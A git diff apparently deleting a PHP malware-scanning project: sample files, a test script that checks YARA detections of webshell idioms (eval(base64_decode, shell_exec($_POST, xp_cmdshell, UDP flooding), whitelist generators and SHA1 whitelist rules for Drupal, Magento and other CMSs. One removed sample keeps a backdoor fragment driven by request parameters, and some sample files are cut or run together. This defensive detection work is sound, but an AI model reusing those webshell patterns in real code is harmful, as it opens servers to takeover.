])); -} diff --git a/php-malware-finder/samples/real/srt.php b/php-malware-finder/samples/real/srt.php deleted file mode 100644 index ef02af2..0000000 --- a/php-malware-finder/samples/real/srt.php +++ /dev/null @@ -1,5 +0,0 @@ - diff --git a/php-malware-finder/samples/real/sucuri_2014_04.php b/php-malware-finder/samples/real/sucuri_2014_04.php deleted file mode 100644 index 64bfa07..0000000 --- a/php-malware-finder/samples/real/sucuri_2014_04.php +++ /dev/null @@ -1,3 +0,0 @@ -1), @array((string)stripslashes($_REQUEST['re_password'])=>2),$_REQUEST['login']); diff --git a/php-malware-finder/samples/undetected/smart.php b/php-malware-finder/samples/undetected/smart.php deleted file mode 100644 index f358562..0000000 --- a/php-malware-finder/samples/undetected/smart.php +++ /dev/null @@ -1,2 +0,0 @@ -/dev/null 1>&2 || (echo "[-] Please make sure that yara is installed" && exit 1) - -CPT=0 -run_test(){ - NB_DETECTED=$(${PMF} -v -a "$SAMPLES"/"$1" 2>&1 | grep -c "$2" 2>/dev/null) - - if [[ "$NB_DETECTED" != 1 ]]; then - echo "[-] $2 was not detected in $1, sorry" - exit 1 - fi - CPT=$((CPT+1)) -} - - -# Real samples -run_test cpanel.php '0x294d:$eval: {eval(' -run_test freepbx.php 'ObfuscatedPhp' -run_test freepbx.php '0x72:$eval: { system(' -run_test freepbx.php 'DodgyPhp' -run_test freepbx.php '0x31d:$execution: system(base64_decode' - -# Classic shells -run_test classic/ajaxshell.php 'DodgyStrings' -run_test classic/ajaxshell.php '0x23e2:$: shell_exec' -run_test classic/ajaxshell.php "0x16e0:\$ini_get: ini_get('safe_mode" -run_test classic/ajaxshell.php "0x17f1:\$ini_get: ini_get('open_basedir" -run_test classic/angel.php '0x1d:$disable_magic_quotes:' -run_test classic/b374k.php 'ObfuscatedPhp' -run_test classic/b374k.php "0xe9:\$b374k: 'ev'.'al'" -run_test classic/b374k.php '0xb3:$align: $func="cr"."eat"."e_fun"."cti"."on";$b374k=$func(' -run_test classic/b374k.php '0xd6:$align: ;$b374k=$func(' -run_test classic/b374k.php '0x43:$: github.com/b374k/b374k' -run_test classic/sosyete.php '0x1a2d:$execution: shell_exec($_POST' -run_test classic/simattacker.php '0x16e:$: fpassthru' -run_test classic/r57.php '0x149da:$: xp_cmdshell' -run_test classic/cyb3rsh3ll.php '0x23323:$udp_dos: fsockopen("udp://' -run_test classic/c99.php '0x3d56:$eval: {exec(' -run_test classic/c100.php '0x4f8d:$eval: {eval(' - -# Obfuscated php -run_test obfuscators/cipher_design.php '0x124:$execution: eval(base64_decode' -run_test obfuscators/cipher_design.php '0x123:$eval: ;eval(' -run_test obfuscators/online_php_obfuscator.php '0x51:$eval: ;preg_replace(' -run_test obfuscators/online_php_obfuscator.php "0x52:\$pr: preg_replace('/.*/e" -run_test obfuscators/online_php_obfuscator.php "SuspiciousEncoding" -run_test obfuscators/phpencode.php "ObfuscatedPhp" -run_test obfuscators/phpencode.php "DodgyPhp" - -# Artificial samples to test some rules -run_test artificial/obfuscated.php '0x0:$eval: "${OUTFILE}"; -private rule Magento1Ce : ECommerce -{ - condition: - false -} -EOF - -# Create a temporary directory and make sure it is empty -GENTEMPDIR="$( mktemp -d --suffix="_gen_whitelist_m1" )"; - -# Add header to whitelist tempfile -cat < "${OUTFILE}"; - -# Clean up -rm "${TMPFILE}"; -rm -rf "${GENTEMPDIR}"; diff --git a/php-malware-finder/utils/magento2_whitelist.sh b/php-malware-finder/utils/magento2_whitelist.sh deleted file mode 100755 index bb742c8..0000000 --- a/php-malware-finder/utils/magento2_whitelist.sh +++ /dev/null @@ -1,83 +0,0 @@ -#!/bin/bash -# Quit script if something goes wrong -set -o errexit -o nounset -o pipefail; - -SCRIPTDIR="$( dirname "$(readlink -f "$0")" )"; -OUTFILE="${SCRIPTDIR}/../whitelists/magento2.yar"; -TMPFILE="${OUTFILE}.new"; - -# First empty the target whitelist so we can completely generate a new one -cat <"${OUTFILE}"; -private rule Magento2 : ECommerce -{ - condition: - false -} -EOF - -# Create a temporary directory and make sure it is empty -GENTEMPDIR="$( mktemp -d --suffix="_gen_whitelist_m2" )"; - -# Composer access tokens -if [ ! -f "${HOME}/.composer/auth.json" ]; then - echo -e "\nYou have no '.composer/auth.json' in your home dir. We will create it from a template and open an editor."; - echo -e "Press [Enter] to continue. Press Ctrl-C if you wish to leave."; - read; - mkdir -p "${HOME}/.composer"; - cat <"${HOME}/.composer/auth.json" -{ - "INFO_GITHUB": "==== GET TOKEN: https://help.github.com/articles/creating-a-personal-access-token-for-the-command-line/ ====", - "github-oauth": { - "github.com": "---github-token-goes-here---" - }, - "INFO_MAGENTO": "==== GET TOKEN: https://devdocs.magento.com/guides/v2.0/install-gde/prereq/connect-auth.html ====", - "http-basic": { - "repo.magento.com": { - "username": "---public-key-goes-here---", - "password": "---private-key-goes-here---" - } - } -} -EOF - editor "${HOME}/.composer/auth.json"; -fi - -# Add header to whitelist tempfile -cat < "${OUTFILE}"; - -# Clean up -rm "${TMPFILE}"; -rm -rf "${GENTEMPDIR}"; diff --git a/php-malware-finder/utils/mass_whitelist.py b/php-malware-finder/utils/mass_whitelist.py deleted file mode 100755 index 868f7b5..0000000 --- a/php-malware-finder/utils/mass_whitelist.py +++ /dev/null @@ -1,208 +0,0 @@ -#!/usr/bin/env python -# -*- coding: utf-8 -*- - -from __future__ import print_function - -import sys -import tarfile -from copy import copy -from datetime import datetime -from collections import OrderedDict -from hashlib import sha1 -from urllib2 import urlopen, HTTPError -from StringIO import StringIO - -import yara - -USAGE = """ -USAGE: %(prog)s [ [ []]] - -Options: - NAME : name of the CMS/whatever being whitelisted - URL_PATTERN : download URL with __version__ as a version placeholder - MAJOR : minimum and maximum major version to crawl (eg: 1-8, 8) - MINOR : minimum and maximum minor version to crawl - PATCH : minimum and maximum patch version to crawl - -Examples: - %(prog)s drupal https://ftp.drupal.org/files/projects/drupal-__version__.tar.gz 9 50 - %(prog)s drupal https://ftp.drupal.org/files/projects/drupal-__version__.tar.gz 4-9 1-50 - - %(prog)s wordpress https://wordpress.org/wordpress-__version__.tar.gz 4 15 - - %(prog)s symphony https://github.com/symfony/symfony/archive/v__version__.tar.gz 3 9 - - %(prog)s phpmyadmin https://files.phpmyadmin.net/phpMyAdmin/__version__/phpMyAdmin-__version__-all-languages.tar.gz 4 9 -""" % {'prog': sys.argv[0]} - - -class Opts: - DEFAULT_MIN = 0 - DEFAULT_MAX = 99 - YARA_RULES = yara.compile(sys.path[0]+'/../php.yar', includes=True, error_on_warning=True) - - @classmethod - def to_str(cls): - values = [] - for attr in cls.__dict__: - if attr.isupper(): - values.append('%s=%s' % (attr, getattr(cls, attr))) - return '' % ' '.join(values) - - -def eprint(*args, **kwargs): - print(*args, file=sys.stderr, **kwargs) - - -def extract_version_arg(index): - min_ver, max_ver = (Opts.DEFAULT_MIN, Opts.DEFAULT_MAX) - if len(sys.argv) >= (index + 1): - if '-' in sys.argv[index]: - min_ver, max_ver = map(int, sys.argv[index].split('-')) - else: - max_ver = int(sys.argv[index]) - return min_ver, max_ver - - -def generate_whitelist(version): - rules = {} - - # download archive - dl_failed = False - download_url = Opts.URL_PATTERN.replace('__version__', version) - download_url_str = Opts.URL_PATTERN.replace('__version__', '\x1b[1;33m%s\x1b[0m' % version) - eprint("[+] Downloading %s... " % download_url_str, end='') - sys.stdout.flush() - try: - resp = urlopen(download_url) - resp_code = resp.code - except HTTPError as err: - dl_failed = True - resp_code = err.code - if dl_failed or (resp_code != 200): - eprint("\x1b[1;31mFAILED (%d)\x1b[0m" % resp_code) - return None - data = StringIO(resp.read()) - data.seek(0) - eprint("\x1b[1;32mOK\x1b[0m") - - # extract archive and check against YARA signatures (in-memory) - eprint("[-] Generating whitelist... ", end='') - sys.stdout.flush() - tar = tarfile.open(mode='r:gz', fileobj=data) - for entry in tar.getnames(): - entry_fd = tar.extractfile(entry) - if entry_fd is None: - continue - entry_data = entry_fd.read() - matches = Opts.YARA_RULES.match(data=entry_data, fast=True) - if matches: - rules['/'.join(entry.split('/')[1:])] = sha1(entry_data).hexdigest() - eprint("\x1b[1;32mDONE\x1b[0m") - - return rules - - -# init vars -whitelists = OrderedDict() - -# check args -if (len(sys.argv) < 3) or (len(sys.argv) > 6): - eprint(USAGE) - sys.exit(1) - -# parse args -Opts.CMS_NAME = sys.argv[1] -Opts.URL_PATTERN = sys.argv[2] -Opts.MIN_MAJOR, Opts.MAX_MAJOR = extract_version_arg(3) -Opts.MIN_MINOR, Opts.MAX_MINOR = extract_version_arg(4) -Opts.MIN_PATCH, Opts.MAX_PATCH = extract_version_arg(5) - -# loop over possible versions -for vmajor in range(Opts.MIN_MAJOR, Opts.MAX_MAJOR + 1): - # download without vminor and vpatch (but ignore if it doesn't exist) - version = "%d" % vmajor - rules = generate_whitelist(version) - if (rules is not None) and rules: - whitelists[version] = rules - - has_mversion = False - first_mloop = True - for vminor in range(Opts.MIN_MINOR, Opts.MAX_MINOR + 1): - # download without vpatch (but ignore if it doesn't exist) - version = "%d.%d" % (vmajor, vminor) - rules = generate_whitelist(version) - if rules is not None: - has_mversion = True - if rules: - whitelists[version] = rules - #if (rules is None) and (has_mversion or not first_mloop): - # break - first_mloop = False - - has_pversion = False - first_ploop = True - for vpatch in range(Opts.MIN_PATCH, Opts.MAX_PATCH + 1): - version = "%d.%d.%d" % (vmajor, vminor, vpatch) - rules = generate_whitelist(version) - if rules is not None: - has_pversion = True - if rules: - whitelists[version] = rules - # break loop if download failed and: - # - a version has already been found during this loop - # - this is the 2nd iteration (if a version wasn't found, - # it means download failed twice) - if (rules is None) and (has_pversion or not first_ploop): - break - first_ploop = False - -# remove duplicate entries: -eprint("[+] Deduplicating detections... ", end='') -known_files = [] -for version, rules in copy(whitelists.items()): - used_rules = 0 - for filename, digest in rules.items(): - rtuple = (filename, digest) - if rtuple in known_files: - del whitelists[version][filename] - else: - known_files.append(rtuple) - used_rules += 1 - if used_rules == 0: - del whitelists[version] -eprint("\x1b[1;32mDONE\x1b[0m") - -eprint("[+] Generating final whitelist... ", end='') -# build final rule -prefix = 8 * ' ' -conditions = [] -len_wl = len(whitelists.keys()) - 1 -for index, (version, rules) in enumerate(whitelists.items()): - cond_str = '%s/* %s %s */\n' % (prefix, Opts.CMS_NAME.title(), version) - len_rules = len(rules.keys()) - 1 - for inner_index, (filename, digest) in enumerate(rules.items()): - if (index == len_wl) and (inner_index == len_rules): # last loop iteration - cond_str += '%shash.sha1(0, filesize) == "%s" // %s\n' % (prefix, digest, filename) - else: - cond_str += '%shash.sha1(0, filesize) == "%s" or // %s\n' % (prefix, digest, filename) - conditions.append(cond_str) -eprint("\x1b[1;32mDONE\x1b[0m") - -final_rule = """ -import "hash" - -private rule %(name)s -{ - meta: - generated = "%(gendate)s" - - condition: -%(conditions)s -} -""" % { - 'name': Opts.CMS_NAME.title(), - 'gendate': datetime.now().isoformat(), - 'conditions': '\n'.join(conditions) -} -print(final_rule) diff --git a/php-malware-finder/whitelist.yar b/php-malware-finder/whitelist.yar deleted file mode 100644 index 3cb42b4..0000000 --- a/php-malware-finder/whitelist.yar +++ /dev/null @@ -1,129 +0,0 @@ -/* - Careful. Those rules are pretty heavy on computation - since the sha1sum may be recomputed for every test. - Please make sure that you're calling those rules after all the others. -*/ - -include "whitelists/drupal.yar" -include "whitelists/wordpress.yar" -include "whitelists/symfony.yar" -include "whitelists/phpmyadmin.yar" -include "whitelists/magento1ce.yar" -include "whitelists/magento2.yar" -include "whitelists/prestashop.yar" -include "whitelists/custom.yar" - - -private rule Magento : ECommerce -{ - condition: - /* Magento 1.14.2.0 */ - hash.sha1(0, filesize) == "039ad85dc5940947849f7fe1a179563c829403ab" or // lib/PEAR/XML/Parser/Simple.php - hash.sha1(0, filesize) == "5f577c2a35ababbf39e0efb53294e5adf523822b" or // lib/PEAR/XML/Serializer.php - hash.sha1(0, filesize) == "27f0e4b1a09e816e40f9e6396c2d4a3cabdb2797" or // lib/PEAR/XML/Parser.php - hash.sha1(0, filesize) == "258522ff97a68138daf0566786b22e722c0ff520" or // lib/PEAR/XML/Unserializer.php - hash.sha1(0, filesize) == "a90d7f679a41443d58d5a96bcb369c3196a19538" or // iib/PEAR/SOAP/Base.php - hash.sha1(0, filesize) == "7faa31f0ee66f32a92b5fd516eb65ff4a3603156" or // lib/PEAR/SOAP/WSDL.php - hash.sha1(0, filesize) == "6b3f32e50343b70138ce4adb73045782b3edd851" or // lib/phpseclib/Net/SSH1.php - hash.sha1(0, filesize) == "ea4c5c75dc3e4ed53c6b9dba09ad9d23f10df9d5" or // lib/phpseclib/Crypt/Rijndael.php - hash.sha1(0, filesize) == "eb9dd8ec849ef09b63a75b367441a14ca5d5f7ae" or // lib/phpseclib/Crypt/Hash.php - hash.sha1(0, filesize) == "a52d111efd3b372104ebc139551d2d8516bbf5e0" or // lib/phpseclib/Crypt/RSA.php - - /* Magento 1.13.0.0 */ - hash.sha1(0, filesize) == "988006fe987a3c192d74b355a5011326f7728d60" or // lib/PEAR/PEAR/PEAR.php - hash.sha1(0, filesize) == "0747f27fd0469608d1686abeaf667d9ad2b4c214" or // lib/PEAR/Mail/mime.php - hash.sha1(0, filesize) == "6c0b33527f8e4b0cab82fc9ba013549f945fad75" or // lib/PEAR/SOAP/Transport/HTTP.php - hash.sha1(0, filesize) == "9a340997bddbee19c1ec9ed62aa3b7e7a39d620a" or // lib/PEAR/PEAR.php - hash.sha1(0, filesize) == "a11e09ee903fe2a1f8188b27186d2dd5098419af" or // app/code/core/Mage/Adminhtml/Model/Url.php - hash.sha1(0, filesize) == "c60a936b7a532a171b79e17bfc3497de1e3e25be" or // app/code/core/Mage/Dataflow/Model/Profile.php - hash.sha1(0, filesize) == "9947a190e9d82a2e7a887b375f4b67a41349cc7f" or // app/code/core/Mage/Core/Model/Translate.php - hash.sha1(0, filesize) == "5fe6024f5c565a7c789de28470b64ce95763e3f4" or // cron.php - - /* Magento 1.9.2.0 */ - hash.sha1(0, filesize) == "4fa9deecb5a49b0d5b1f88a8730ce20a262386f7" or // lib/Zend/Session.php - hash.sha1(0, filesize) == "f214646051f5376475d06ef50fe1e5634285ba1b" or // app/code/core/Mage/Adminhtml/Model/Url.php - - /* Magento 1.7.0.2 */ - hash.sha1(0, filesize) == "f46cf6fd47e60e77089d94cca5b89d19458987ca" or // lib/Zend/Session.php - hash.sha1(0, filesize) == "ffb3e46c87e173b1960e50f771954ebb1efda66e" or // lib/Zend/Ldap/Converter.php - hash.sha1(0, filesize) == "7faa31f0ee66f32a92b5fd516eb65ff4a3603156" or // lib/PEAR/SOAP/WSDL.php - hash.sha1(0, filesize) == "539de72a2a424d86483f461a9e38ee42df158f26" or // app/code/core/Mage/Adminhtml/Model/Url.php - hash.sha1(0, filesize) == "6b3f32e50343b70138ce4adb73045782b3edd851" or // lib/phpseclib/Net/SSH1.php - - /* Magento 1.4.1.1 */ - hash.sha1(0, filesize) == "0b74f4b259c63c01c74fb5913c3ada87296107c8" or // lib/Zend/Session.php - hash.sha1(0, filesize) == "951a4639e49c6b2ad8adeb38481e2290297c8e70" or // lib/Zend/Ldap/Converter.php - hash.sha1(0, filesize) == "44ba7a5b685f4a52113559f366aaf6e9a22ae21e" // app/code/core/Mage/Adminhtml/Model/Url.php -} - -private rule Roundcube -{ - condition: - /* Roundcube 1.1.2 */ - hash.sha1(0, filesize) == "afab52649172b46f64301f41371d346297046af2" or // program/lib/Roundcube/rcube_utils.php - hash.sha1(0, filesize) == "e6b81834e081cc2bd38fce787c5088e63d933953" or // program/include/rcmail_output_html.php - hash.sha1(0, filesize) == "7783e9fad144ca5292630d459bd86ec5ea5894fc" or // vendor/pear-pear.php.net/Net_LDAP2/Net/LDAP2/Util.php - - /* Roundcube 1.0.6 */ - hash.sha1(0, filesize) == "76d55f05f2070f471ba977b5b0f690c91fa8cdab" or // program/lib/Roundcube/rcube_utils.php - hash.sha1(0, filesize) == "c68319e3e1adcd3e22cf2338bc79f12fd54f6d4a" // program/include/rcmail_output_html.php -} - -private rule Concrete5 -{ - condition: - /* concrete5 7.4.2 */ - hash.sha1(0, filesize) == "927bbd60554ae0789d4688738b4ae945195a3c1c" or // concrete/vendor/oyejorge/less.php/lib/Less/Tree/Dimension.php - hash.sha1(0, filesize) == "67f07022dae5fa39e8a37c09d67cbcb833e10d1f" or // concrete/vendor/oyejorge/less.php/lib/Less/Tree/Unit.php - hash.sha1(0, filesize) == "e1dcbc7b05e8ba6cba392f8fd44a3564fcad3666" // concrete/vendor/doctrine/inflector/lib/Doctrine/Common/Inflector/Inflector.php -} - -private rule Dotclear : Blog -{ - condition: - /* dotclear 2.8.0 */ - hash.sha1(0, filesize) == "c732d2d54a80250fb8b51d4dddb74d05a59cee2e" or // inc/public/class.dc.template.php - hash.sha1(0, filesize) == "cc494f7f4044b5a3361281e27f2f7bb8952b8964" or // inc/core/class.dc.modules.php - - /* dotclear 2.7.5 */ - hash.sha1(0, filesize) == "192126b08c40c5ca086b5e4d7433e982f708baf3" or // inc/public/class.dc.template.php - hash.sha1(0, filesize) == "51e6810ccd3773e2bd453e97ccf16059551bae08" or // inc/libs/clearbricks/common/lib.date.php - hash.sha1(0, filesize) == "4172e35e7c9ce35de9f56fb8dfebe8d453f0dee4" or // inc/libs/clearbricks/template/class.template.php - hash.sha1(0, filesize) == "cf65db6ae55486f51370f87c4653aaed56903ccc" // inc/core/class.dc.modules.php -} - -private rule Owncloud -{ - condition: - /* ownCloud 8.1.0 */ - hash.sha1(0, filesize) == "a58489a3d8401295bb09cfbad09486f605625658" or // 3rdparty/phpseclib/phpseclib/phpseclib/Net/SSH1.php - hash.sha1(0, filesize) == "463627a4064dc05e93e6f9fc5605d4c8a4e09200" or // 3rdparty/jeremeamia/SuperClosure/src/SerializableClosure.php - hash.sha1(0, filesize) == "5346cb6817a75c26a6aad86e0b4ffb1d5145caa5" or // 3rdparty/symfony/process/Symfony/Component/Process/Process.php - hash.sha1(0, filesize) == "c8a6d4292448c7996e0092e6bfd38f90c34df090" or // core/doc/admin/_images/oc_admin_app_page.png - hash.sha1(0, filesize) == "acc7af31d4067c336937719b9a9ad7ac8497561e" // core/doc/admin/_sources/configuration_server/performance_tuning.txt -} - -private rule Misc -{ - condition: - /* HTMLPurifier standalone 4.6.0 */ - hash.sha1(0, filesize) == "9452a5f1183cbef0487b922cc1ba904ea21ad39a" -} - -private rule IsWhitelisted -{ - condition: - Symfony or - Wordpress or - Prestashop or - Magento or - Magento1Ce or - Magento2 or - Drupal or - Roundcube or - Concrete5 or - Dotclear or - Owncloud or - Phpmyadmin or - Misc -} diff --git a/php-malware-finder/whitelists/custom.yar b/php-malware-finder/whitelists/custom.yar deleted file mode 100644 index 594d25b..0000000 --- a/php-malware-finder/whitelists/custom.yar +++ /dev/null @@ -1,13 +0,0 @@ -/* Add your own rules here */ -import "hash" - -private rule Custom : Blog -{ - meta: - generated = "2016-07-28T09:50:53.795037" - - condition: - /* my own webapp 0.42 */ - hash.sha1(0, filesize) == "deadbeaf" -} - diff --git a/php-malware-finder/whitelists/drupal.yar b/php-malware-finder/whitelists/drupal.yar deleted file mode 100644 index 3766698..0000000 --- a/php-malware-finder/whitelists/drupal.yar +++ /dev/null @@ -1,660 +0,0 @@ -import "hash" - -private rule Drupal : CMS -{ - meta: - generated = "2018-05-29T22:23:47.366743" - - condition: - /* Drupal 5.0 */ - hash.sha1(0, filesize) == "f1eb3d374f15f22b20bfd75ee313857023ea364f" or // modules/color/color.module - hash.sha1(0, filesize) == "1730e4fb6d18b065679fe914da683ce0c919d291" or // themes/garland/template.php - hash.sha1(0, filesize) == "34715498bee1ecfe749d6a73a3e98775ace745e1" or // modules/locale/locale.module - hash.sha1(0, filesize) == "bf4a657c57358f7184da9c0403ff8f594da26fe4" or // modules/system/system.install - hash.sha1(0, filesize) == "bd19a66385c4d84321a4a0fcad09592da5a8767c" or // includes/form.inc - hash.sha1(0, filesize) == "93b7741008635667702e9657a6db496a21df3bbb" or // includes/xmlrpc.inc - - /* Drupal 5.1 */ - hash.sha1(0, filesize) == "e7600251d12b48a85a7e1e1ad35cc8bf03d9e370" or // modules/color/color.module - hash.sha1(0, filesize) == "6569f949cecb5a074334d6e94ec0a4d550eaf367" or // includes/form.inc - - /* Drupal 5.2 */ - hash.sha1(0, filesize) == "05b40483364714c310d18526b856d5b823c50326" or // modules/color/color.module - hash.sha1(0, filesize) == "c5e4b8f163bb7580d82d37008f084f15cecb7d88" or // themes/garland/template.php - hash.sha1(0, filesize) == "3bf375e99b5fe211e6e2d8c512e348dcb08eda09" or // modules/system/system.install - hash.sha1(0, filesize) == "689adbac4c770fb2312a32943ab57c366522b43b" or // includes/form.inc - hash.sha1(0, filesize) == "f7c0c92ba2ac49b33cf333abf5c7638f45b12b74" or // includes/xmlrpc.inc - - /* Drupal 5.3 */ - hash.sha1(0, filesize) == "1565b1cfac5b9f8773338c52df83e643b238aa24" or // modules/color/color.module - hash.sha1(0, filesize) == "633d701d7aaee4eeb1f86128fcedec43aade6d6c" or // modules/system/system.install - - /* Drupal 5.4 */ - hash.sha1(0, filesize) == "235a2ba6ce07344c8e7c544fd13d50e489871315" or // modules/color/color.module - hash.sha1(0, filesize) == "3ba8b759ca4215a87affd1d46142745f2affe298" or // modules/system/system.install - hash.sha1(0, filesize) == "49d374c029d4713879dd3c31afb4617307816388" or // includes/form.inc - - /* Drupal 5.6 */ - hash.sha1(0, filesize) == "7703e318cd7972790fc2b2171a756e4d51db5376" or // includes/xmlrpc.inc - hash.sha1(0, filesize) == "0acf5f02c673d7c2e215e80b3e9c44c9a66bb493" or // includes/form.inc - - /* Drupal 5.8 */ - hash.sha1(0, filesize) == "9ef2f823596c2ad04a186f303376d06d78d2fc1b" or // includes/xmlrpc.inc - hash.sha1(0, filesize) == "dcb29e1e0372fe1c56480cde6af09d7a4518ac09" or // modules/locale/locale.module - hash.sha1(0, filesize) == "e682ea838bae85ec2c1f2a06c6a7c49b545ec0ef" or // modules/color/color.module - - /* Drupal 5.10 */ - hash.sha1(0, filesize) == "3a06dd7ce5a2a4aa9542ced4c20f375643191b8f" or // includes/xmlrpc.inc - hash.sha1(0, filesize) == "ce633ea58a6de51e36f4c4cb7644e26b01480780" or // includes/form.inc - - /* Drupal 5.11 */ - hash.sha1(0, filesize) == "3aebbcd0f6b90304ddfb52edff97e20f6d7aef95" or // includes/xmlrpc.inc - hash.sha1(0, filesize) == "e5a533fddac060cf3146c347999595c58a159882" or // includes/form.inc - - /* Drupal 5.15 */ - hash.sha1(0, filesize) == "07b090bf9c8cf6736466a23c8f5925ffab837e44" or // modules/color/color.module - hash.sha1(0, filesize) == "7b380e59f08d11a6d7c890cefbb2358fae24a434" or // includes/form.inc - - /* Drupal 5.17 */ - hash.sha1(0, filesize) == "d8687f6b0772b1f80d3e44a8b1e1fbb94202e5d1" or // includes/form.inc - - /* Drupal 5.22 */ - hash.sha1(0, filesize) == "23c6b18c7f4f599da8157b033f59e3425cc893f5" or // modules/locale/locale.module - - /* Drupal 6.0 */ - hash.sha1(0, filesize) == "3c01c46acb9f8e2a5dc41ef849766defde662ecd" or // includes/batch.inc - hash.sha1(0, filesize) == "8c0212cf85917607951dfe4ea2a9aa49dc8872a4" or // modules/locale/locale.module - hash.sha1(0, filesize) == "f92e2b1f7e899b18059bbdb4d3c9e938bb29a8ea" or // themes/garland/template.php - hash.sha1(0, filesize) == "3cfbb369d412fa5e67e2862a18394d29cdcf9b0c" or // includes/menu.inc - hash.sha1(0, filesize) == "482c91441f49765f15734ddbbae1272f11345af4" or // modules/color/color.module - hash.sha1(0, filesize) == "40e4979ecf0f1ac140d919b212f03239c5b6aa92" or // modules/system/system.module - hash.sha1(0, filesize) == "81c8b9b2c63c300f052cd6cd114ba2723bd588fa" or // includes/form.inc - hash.sha1(0, filesize) == "bd6052877cf3fd94647cbce96dbe6e56dc50e10f" or // includes/xmlrpc.inc - - /* Drupal 6.1 */ - hash.sha1(0, filesize) == "3c3376a298abc4128a5d694a4cd5fd85e828e031" or // includes/menu.inc - hash.sha1(0, filesize) == "5e5f0081619c744d82203acdd685908286995fbd" or // modules/system/system.module - - /* Drupal 6.2 */ - hash.sha1(0, filesize) == "f2aae0d40ea29a7392c2d61048f1d4f3aaf045e5" or // modules/locale/locale.module - hash.sha1(0, filesize) == "ce03cc0cf33d2a0ca284d5fdef2d565a0083433c" or // includes/menu.inc - hash.sha1(0, filesize) == "49ffaf6b8dd7860f4e3f087f7d1dc97a1bc275e6" or // modules/system/system.module - hash.sha1(0, filesize) == "fc911bd9cc9325ec4886152db537cdfd8f4e64bb" or // includes/xmlrpc.inc - - /* Drupal 6.3 */ - hash.sha1(0, filesize) == "80b13389511ea6e684bebba943af093b1e981858" or // modules/locale/locale.module - hash.sha1(0, filesize) == "f92178aa9ef6362cded7cd8781c47eb83deb68be" or // includes/menu.inc - hash.sha1(0, filesize) == "3dcd1690b4e1861ffaa896d33cd7f8b6498ea806" or // modules/system/system.module - hash.sha1(0, filesize) == "bf20f4b2a6ffcf7c2338771153439082f39c460d" or // includes/form.inc - hash.sha1(0, filesize) == "3a97f6da319588192cebfa3fe092dcda4412c6fa" or // includes/xmlrpc.inc - - /* Drupal 6.4 */ - hash.sha1(0, filesize) == "9b3b6f401a6c9b63e396b8c8dc687d7bae0f1b52" or // modules/system/system.module - hash.sha1(0, filesize) == "831bf55ef200e3af6fd5cc59ff34499460349b5b" or // includes/form.inc - - /* Drupal 6.5 */ - hash.sha1(0, filesize) == "88eb3c9e014ac820a049987825d5f06b9e07f01b" or // modules/locale/locale.module - hash.sha1(0, filesize) == "3c20621fe031cfd9f77171491a8d84d38644768e" or // includes/menu.inc - hash.sha1(0, filesize) == "7b768a62e50ae512a763b548704d5d50dcfcedb5" or // modules/system/system.module - hash.sha1(0, filesize) == "7655e21aab65237f9bb767c9ebd8f9e8f80c254b" or // includes/form.inc - hash.sha1(0, filesize) == "e16028c47285d1c8acb40917c5b7646dc43ba862" or // includes/xmlrpc.inc - - /* Drupal 6.6 */ - hash.sha1(0, filesize) == "582b5612950b654ca32185840672e4b39493f40c" or // modules/locale/locale.module - hash.sha1(0, filesize) == "70beea28b5e6599c53aae3de6da6ba84ce67f6df" or // includes/menu.inc - hash.sha1(0, filesize) == "2e1b0bcc805cd538d544fdab801e79c9b42c5cc4" or // modules/system/system.module - hash.sha1(0, filesize) == "67c5018ac240183211ad9e32e3490a491bfc21e3" or // includes/form.inc - hash.sha1(0, filesize) == "d7badca996415761de8f4d44cf825567df60e79d" or // includes/xmlrpc.inc - - /* Drupal 6.7 */ - hash.sha1(0, filesize) == "9e8fb4a8241d37d52dc533e2aec9bdc9d44ac2c5" or // includes/menu.inc - hash.sha1(0, filesize) == "d7295287f872616d6581963ca4fffc842877e54e" or // modules/system/system.module - hash.sha1(0, filesize) == "0066f50873b4d8e826f5f9a3c2f931b9e449e3cf" or // includes/form.inc - - /* Drupal 6.8 */ - hash.sha1(0, filesize) == "522a021eabf04567c7d3ddfea8e80191a67b75c6" or // modules/system/system.module - - /* Drupal 6.9 */ - hash.sha1(0, filesize) == "47e69cf9117bd12900a7d0b322bbeb891cb876bd" or // modules/system/system.module - hash.sha1(0, filesize) == "c35efa1e4c9e0793b890c0e7900617b7a708d906" or // includes/form.inc - hash.sha1(0, filesize) == "9d3ef642d7f227b0a2a922c16fd04d7ae51fbbac" or // includes/xmlrpc.inc - - /* Drupal 6.10 */ - hash.sha1(0, filesize) == "1257503f9f9e90f0de517c0ec613d28476608f94" or // modules/locale/locale.module - hash.sha1(0, filesize) == "a9a48782feda7033d80d10077fbdf901478882b0" or // themes/garland/template.php - hash.sha1(0, filesize) == "303b2365a1068f10362712ba57f8aa11641986ee" or // includes/menu.inc - hash.sha1(0, filesize) == "f9a57bbb528fd3cab334f72fc7295fb32266aeec" or // modules/color/color.module - hash.sha1(0, filesize) == "9958a8bbc30b7b235982f21f6c58fbbdf53e481d" or // modules/system/system.module - hash.sha1(0, filesize) == "00a2edf2e518509dc352f407f4aaebd9e9432ea2" or // includes/form.inc - - /* Drupal 6.11 */ - hash.sha1(0, filesize) == "5cbbcac5697b1e3cbfc7c7071aa99d8eab48b9fa" or // includes/menu.inc - hash.sha1(0, filesize) == "ca4b910750e51db3c7ad6859ce6bb19da6d119fa" or // modules/system/system.module - hash.sha1(0, filesize) == "3dfc875a3fb589625dc7a45fdbf6e322f560c4af" or // includes/form.inc - - /* Drupal 6.12 */ - hash.sha1(0, filesize) == "13e042bbd65139c41ebcab31b2d7f82343044a60" or // modules/system/system.module - hash.sha1(0, filesize) == "45aee133a5c7c39c932e97939c8333a09ecdaa58" or // includes/form.inc - - /* Drupal 6.13 */ - hash.sha1(0, filesize) == "a607ad688c31b9bbf56f933f9d942f1771f6eee7" or // modules/color/color.module - hash.sha1(0, filesize) == "21778d2e8795c1deba246006623621efe5b0349d" or // modules/system/system.module - hash.sha1(0, filesize) == "6ed25b5b4e1292685e81537d6c6d49e4140c080c" or // includes/form.inc - - /* Drupal 6.14 */ - hash.sha1(0, filesize) == "03e44afcb7dc4b0a8acde5f89a6cba050537cc91" or // modules/node/node.module - hash.sha1(0, filesize) == "98e92c349a39518cf5a56236070c2585eae773d3" or // includes/locale.inc - hash.sha1(0, filesize) == "5a8177828846fbfe19f4b1faf2d23d6481fba20c" or // themes/garland/template.php - hash.sha1(0, filesize) == "1ebddd7ba111f431149df0ee5f589671637aef4a" or // modules/system/system.module - hash.sha1(0, filesize) == "b6977eb520a2bd3fe759f828c764cf898cf2e556" or // includes/form.inc - - /* Drupal 6.15 */ - hash.sha1(0, filesize) == "fd20764485c46379fadb3e58db23ec8cabd28578" or // modules/node/node.module - hash.sha1(0, filesize) == 